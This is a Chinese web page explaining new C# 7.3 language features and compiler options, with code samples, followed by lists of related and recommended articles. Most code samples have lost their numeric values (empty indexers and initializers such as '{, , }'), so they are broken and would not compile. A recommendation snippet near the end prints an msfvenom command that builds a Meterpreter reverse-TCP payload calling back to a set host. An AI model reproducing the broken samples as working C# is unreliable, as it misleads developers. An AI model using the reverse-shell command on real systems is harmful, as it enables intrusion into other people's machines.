C# 7.3 版本有两个主要主题。 第一个主题提供使安全代码的性能与不安全代码的性能一样好的功能。 第二个主题提供对现有功能的增量改进。 此外,在此版本中添加了新的编译器选项。

以下新增功能支持使安全代码获得更好的性能的主题:

  • 无需固定即可访问固定的字段。
  • 可以重新分配 ref 本地变量。
  • 可以使用 stackalloc 数组上的初始值设定项。
  • 可以对支持模式的任何类型使用 fixed 语句。
  • 可以使用其他泛型约束。

对现有功能进行了以下增强:

  • 可以使用元组类型测试 == 和 !=
  • 可以在多个位置使用表达式变量。
  • 可以将属性附加到自动实现的属性的支持字段。
  • 由 in 区分的参数的方法解析得到了改进。
  • 重载解析的多义情况现在变得更少。

新的编译器选项为:

  • -publicsign,用于启用程序集的开放源代码软件 (OSS) 签名。
  • -pathmap用于提供源目录的映射。
01 启用更高效的安全代码

你应能够安全地编写性能与不安全代码一样好的 C# 代码。 安全代码可避免错误类,例如缓冲区溢出、杂散指针和其他内存访问错误。 这些新功能扩展了可验证安全代码的功能。努力使用安全结构编写更多代码。 这些功能使其更容易实现。

1.1 索引 fixed 字段不需要进行固定
定义一个结构体
unsafe struct S
{
public fixed int myFixedField[];
}

在早期版本的 C# 中,需要固定变量才能访问属于 myFixedField 的整数之一。 现在,以下代码进行编译,而不将变量 p 固定到单独的 fixed 语句中:

class C
{
static S s = new S(); unsafe public void M()
{
int p = s.myFixedField[];
}
}

变量 p 访问 myFixedField 中的一个元素。 无需声明单独的 int* 变量。 请注意,你仍然需要 unsafe 上下文。 在早期版本的 C# 中,需要声明第二个固定的指针:

class C
{
static S s = new S(); unsafe public void M()
{
fixed (int* ptr = s.myFixedField)
{
int p = ptr[];
}
}
}

有关详细信息,请参阅有关 fixed 语句的文章。

1.2 可能会重新分配 ref 局部变量
现在,在对 ref 局部变量进行初始化后,可能会对其重新分配,以引用不同的实例。 以下代码现在编译:
ref VeryLargeStruct refLocal = ref veryLargeStruct; // 初始化
refLocal = ref anotherVeryLargeStruct; // 重新分配后,反射引用不同的存储。

有关详细信息,请参阅有关 ref 返回和 ref 局部变量以及 foreach 的文章。

1.3 stackalloc 数组支持初始值设定项
当你对数组中的元素的值进行初始值设定时,你已能够指定该值:
var arr =  new int[] {, , };
var arr2 = new int[] {, , };

现在,可向使用 stackalloc 进行声明的数组应用同一语法:

int* pArr = stackalloc int[] {, , };
int* pArr2 = stackalloc int[] {, , };
Span<int> arr = stackalloc [] {, , };

有关详细信息,请参阅stackalloc运算符一文。

1.4 更多类型支持 fixed 语句

fixed 语句支持有限的一组类型。 从 C# 7.3 开始,任何包含返回 ref T 或 ref readonly T的 GetPinnableReference() 方法的类型均有可能为 fixed。 添加此功能意味着 fixed 可与 System.Span<T> 和相关类型配合使用。

有关详细信息,请参阅语言参考中的 fixed 语句一文。

1.5 增强的泛型约束

现在,可以将类型 System.Enum 或 System.Delegate 指定为类型参数的基类约束。

现在也可以使用新的 unmanaged 约束来指定类型参数必须为“非托管类型” 。 “非托管类型” 不是引用类型,且在任何嵌套级别都不包含任何引用类型。

有关详细信息,请参阅有关 where 泛型约束类型参数的约束的文章。

将这些约束添加到现有类型是不兼容的更改。 封闭式泛型类型可能不再满足这些新约束的要求。

02 提升了现有功能

以下功能提供了对语言中的功能的改进。 这些功能提升了在编写 C# 时的效率。

2.1 元组支持 == 和 !=

C# 元组类型现在支持 == 和 !=。 有关详细信息,请参阅有关元组一文中的转换等式部分。

2.2 将特性添加到自动实现的属性的支持字段
现在支持此语法:
[field: SomeThingAboutFieldAttribute]
public int SomeProperty { get; set; }

属性 SomeThingAboutFieldAttribute 应用于编译器生成的 SomeProperty 的支持字段。 有关详细信息,请参阅 C# 编程指南中的属性

2.3 in 方法重载解析决胜属性
在添加 in 参数修饰符时,这两个方法将导致多义性:
static void M(S arg);
static void M(in S arg);

现在,通过值(前面示例中的第一个)的重载比通过只读引用版本的重载更好。 若要使用只读引用参数调用版本,必须在调用方法前添加 in 修饰符。

有关详细信息,请参阅有关 in 参数修饰符的文章。

2.4 扩展初始值设定项中的表达式变量
已对在 C# 7.0 中添加的允许 out 变量声明的语法进行了扩展,以包含字段初始值设定项、属性初始值设定项、构造函数初始值设定项和查询子句。 它允许使用如以下示例中所示的代码:
public class B
{
public B(int i, out int j)
{
j = i;
}
} public class D : B
{
public D(int i) : base(i, out var j)
{
Console.WriteLine($"The value of 'j' is {j}");
}
}
2.5 改进了重载候选项

在每个版本中,对重载解析规则进行了更新,以解决多义方法调用具有“明显”选择的情况。此版本添加了三个新规则,以帮助编译器选取明显的选择:

  1. 当方法组同时包含实例和静态成员时,如果方法在不含实例接收器或上下文的情况下被调用,则编译器将丢弃实例成员。 如果方法在含有实例接收器的情况下被调用,则编译器将丢弃静态成员。 在没有接收器时,编译器将仅添加静态上下文中的静态成员,否则,将同时添加静态成员和实例成员。 当接收器是不明确的实例或类型时,编译器将同时添加两者。 静态上下文(其中隐式 this 实例接收器无法使用)包含未定义 this 的成员的正文(例如,静态成员),以及不能使用 this 的位置(例如,字段初始值设定项和构造函数初始值设定项)。
  2. 当一个方法组包含类型参数不满足其约束的某些泛型方法时,这些成员将从候选集中移除。
  3. 对于方法组转换,返回类型与委托的返回类型不匹配的候选方法将从集中移除。

你将注意到此更改,因为当你确定哪个方法更好时,你将发现多义方法重载具有更少的编译器错误。

03 新的编译器选项
新的编译器选项支持 C# 程序的新版本和 DevOps 方案。
3.1 公共或开放源代码签名

-publicsign 编译器选项指示编译器使用公钥对程序集进行签名。 程序集被标记为已签名,但签名取自公钥。 此选项使你能够使用公钥在开放源代码项目中构建签名的程序集。

有关详细信息,请参阅 -publicsign 编译器选项一文。

3.2 pathmap

-pathmap 编译器选项指示编译器将生成环境中的源路径替换为映射的源路径。 -pathmap 选项控制由编译器编写入 PDB 文件或为 CallerFilePathAttribute 编写的源路径。

有关详细信息,请参阅 -pathmap 编译器选项一文。

C#7.3 新增功能的更多相关文章

  1. ADO.NET 中的新增功能

    ADO.NET 中的新增功能: .NET Framework (current version) 以下是 .NET Framework 4.5 中 ADO.NET 的新增功能. SqlClient D ...

  2. .NET Framework3.0/3.5/4.0/4.5新增功能摘要

    Microsoft .NET Framework 3.0 .NET Framework 3.0 中增加了不少新功能,例如: Windows Workflow Foundation (WF) Windo ...

  3. 与众不同 windows phone (40) - 8.0 媒体: 音乐中心的新增功能, 图片中心的新增功能, 后台音乐播放的新增功能

    [源码下载] 与众不同 windows phone (40) - 8.0 媒体: 音乐中心的新增功能, 图片中心的新增功能, 后台音乐播放的新增功能 作者:webabcd 介绍与众不同 windows ...

  4. PHP V5.2 中的新增功能,第 1 部分: 使用新的内存管理器

    PHP V5.2:开始 2006 年 11 月发布了 PHP V5.2,它包括许多新增功能和错误修正.它废止了 5.1 版并被推荐给所有 PHP V5 用户进行升级.我最喜欢的实验室环境 —— Win ...

  5. WPF4.5 中的新增功能和增强功能的信息

    本主题包含有关 Windows Presentation Foundation (WPF) 版本 4.5 中的新增功能和增强功能的信息. 本主题包含以下各节: 功能区控件 改善性能,当显示大时设置分组 ...

  6. .NET Framework 4.5、4.5.1 和 4.5.2 中的新增功能

    .NET Framework 4.5.4.5.1 和 4.5.2 中的新增功能 https://msdn.microsoft.com/zh-cn/library/ms171868.aspx

  7. openstack【Kilo】汇总:包括20英文文档、各个组件新增功能及Kilo版部署

    OpenStack Kilo版本发布 20英文文档OpenStack Kilo版本文档汇总:各个操作系统安装部署.配置文档.用户指南等文档 Kilo版部署 openstack[Kilo]入门 [准备篇 ...

  8. hadoop2.6.0汇总:新增功能最新编译 32位、64位安装、源码包、API下载及部署文档

    相关内容: hadoop2.5.2汇总:新增功能最新编译 32位.64位安装.源码包.API.eclipse插件下载Hadoop2.5 Eclipse插件制作.连接集群视频.及hadoop-eclip ...

  9. cloudstack4.4新增功能前瞻

    cloudstack4.4.0新功能前瞻 转载请注明地址:http://blog.csdn.net/zt689/article/details/37698989 1.   cloudstack4.4. ...

  10. SQL Server 2016 Alwayson新增功能

    标签:SQL SERVER/MSSQL SERVER/数据库/DBA/ 概述 SQLServer2016发布版本到现在已有一年多的时间了,目前最新的稳定版本是SP1版本.接下来就开看看2016在Alw ...

随机推荐

  1. 青云QingCloud黄允松:最高效的研发管理就是没有管理

    摘要: 对于底层技术创新而言,没有管理是最好的管理,小规模作战,快速试错,迅速转变方向,迭代周期一定要短. 钛媒体注:钛媒体.商业价值联合主办的第五届“MIIC移动互联网创新大会”如期举行.2015 ...

  2. 让Qt在MIPS Linux上运行 good

    下载 首先下载Qt everywhere,当前的版本是4.7.2,可以从nokia的网站上下载,也可以从git服务器上下载.考虑到文件有200M 以上的大小,下载速率低于25kBPS的,需要考虑从什么 ...

  3. 怎样让窗口不显示在任务栏和ALT+TAB中(隐藏窗口再嵌套,几乎是万能的办法)

    之前想弄个像QQ旋风那样的悬浮窗口,就研究了下怎么让窗口不显示在任务栏中,方法其实很简单就是将窗口的扩张属性设置成WS_EX_TOOLWINDOW,MSDN中对该属性有详细介绍,代码如下: ::Set ...

  4. 搜索栏+collectionView实现

      效果图如下:   1.h文件声明方法:   @interface IDSGameRoomSearchPage : UIView @property (nonatomic,weak) BaseVie ...

  5. 如何设计firemonkey的style样式

    您好,在窗体上添加一个 TStyleBook(StyleBook1), 可以载入.编辑.另存这些样式.编辑 StyleBook1 后, 可以把它直接赋给窗体的 StyleBook 属性: proced ...

  6. 基于python实现的三方组件----Celery

    一.基于python实现的三方组件----Celery 1.作用 用于异步周期任务的处理 2.Celery的组成 (1)任务 app (2)记录任务的缓存(通常用redis或rabbitMQ) 任务记 ...

  7. hive -e和hive -f的区别(转)

    大家都知道,hive -f 后面指定的是一个文件,然后文件里面直接写sql,就可以运行hive的sql,hive -e 后面是直接用双引号拼接hivesql,然后就可以执行命令. 但是,有这么一个东西 ...

  8. Kali-利用metasploit中的exploit/multi/handler进行攻击

    在攻击服务器上生成连接软件,LHOST为攻击机IP地址 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=4 ...

  9. http协议之状态码

    =================状态码,状态文字======================== 状态码:用来反应服务器的响应状态 状态文字:是用来说明状态码的. 状态码:可以分为这5个大的部分 - ...

  10. HTML和CSS 基本要点必看

    今天的课程名称叫HTML和CSS HTML:它是标记语言,全称为超文本标记语言,它不是编译语言.(说白了就是标签) CSS:它是给标签添加样式的,全称为层叠样式表. 想了解这些必须得知道两个东西 一是 ...